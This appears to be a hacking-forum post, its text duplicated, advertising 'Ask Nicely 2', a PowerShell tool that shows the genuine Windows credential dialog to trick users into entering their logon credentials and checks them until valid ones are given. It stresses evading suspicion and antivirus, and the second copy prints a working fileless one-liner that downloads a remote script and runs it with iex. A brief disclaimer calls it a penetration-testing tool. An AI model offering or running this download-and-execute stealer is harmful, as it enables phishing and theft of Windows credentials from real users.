Aug 28, 2025 06:02 AM
(This post was last modified: Aug 28, 2025 04:45 PM by CL1B.)
Ask Nicely 2: Native Credential Stealer in PS
Why steal credentials when you can ask for them?
A good smoke led me to write an alternative version of Ask Nicely, turns out invoking the native credential dialog is a breeze. I'm surprised none of you pointed that out. This is implementation is much more proper and convincing.
You can update to old builder script to handle this proof of concept for things like icons, I won't.
AskNicely2 uses the following Windows APIs:
1. CredUIPromptForWindowsCredentials: Displays the native credential prompt
2. CredUnPackAuthenticationBuffer: Retrieves credentials from the security buffer
3. CredUIParseUserName: Separates domain and username components
4. LogonUserW: Validates credentials against Windows authentication
Credential Validation
The script validates credentials using the LogonUserW API, only valid credentials are accepted. The prompt wont stop until valid credentials are entered.
Key advantages over the previous version:
- Uses actual Windows credential UI instead of simulations
- More convincing and less likely to raise suspicion
Proof of concept
Source code (Click to View)
You can also invoke Ask Nicely 2 with a PowerShell one liner on any Windows 10/11 system:
This execution is file-less.
AV performance
Spoiler (Click to View)
Disclaimer
This tool is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
Why steal credentials when you can ask for them?
![[Image: ezgif-428d1845c75603zt.gif]](https://i.ibb.co/svN1nsHt/ezgif-428d1845c75603zt.gif)
A good smoke led me to write an alternative version of Ask Nicely, turns out invoking the native credential dialog is a breeze. I'm surprised none of you pointed that out. This is implementation is much more proper and convincing.
You can update to old builder script to handle this proof of concept for things like icons, I won't.
AskNicely2 uses the following Windows APIs:
1. CredUIPromptForWindowsCredentials: Displays the native credential prompt
2. CredUnPackAuthenticationBuffer: Retrieves credentials from the security buffer
3. CredUIParseUserName: Separates domain and username components
4. LogonUserW: Validates credentials against Windows authentication
![[Image: image.png]](https://i.ibb.co/7x8B6ykX/image.png)
Credential Validation
The script validates credentials using the LogonUserW API, only valid credentials are accepted. The prompt wont stop until valid credentials are entered.
Key advantages over the previous version:
- Uses actual Windows credential UI instead of simulations
- More convincing and less likely to raise suspicion
Proof of concept
Source code (Click to View)
You can also invoke Ask Nicely 2 with a PowerShell one liner on any Windows 10/11 system:
Code
iex ([Text.Encoding]::Default.GetString((iwr 'https://files.catbox.moe/4r5c80.ps1').Content))This execution is file-less.
AV performance
Spoiler (Click to View)
Disclaimer
This tool is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.


![[Image: image.png]](https://i.ibb.co/C3fSsL7m/image.png)




![[Image: 9428137.gif]](https://i.postimg.cc/Ghyw1KPs/9428137.gif)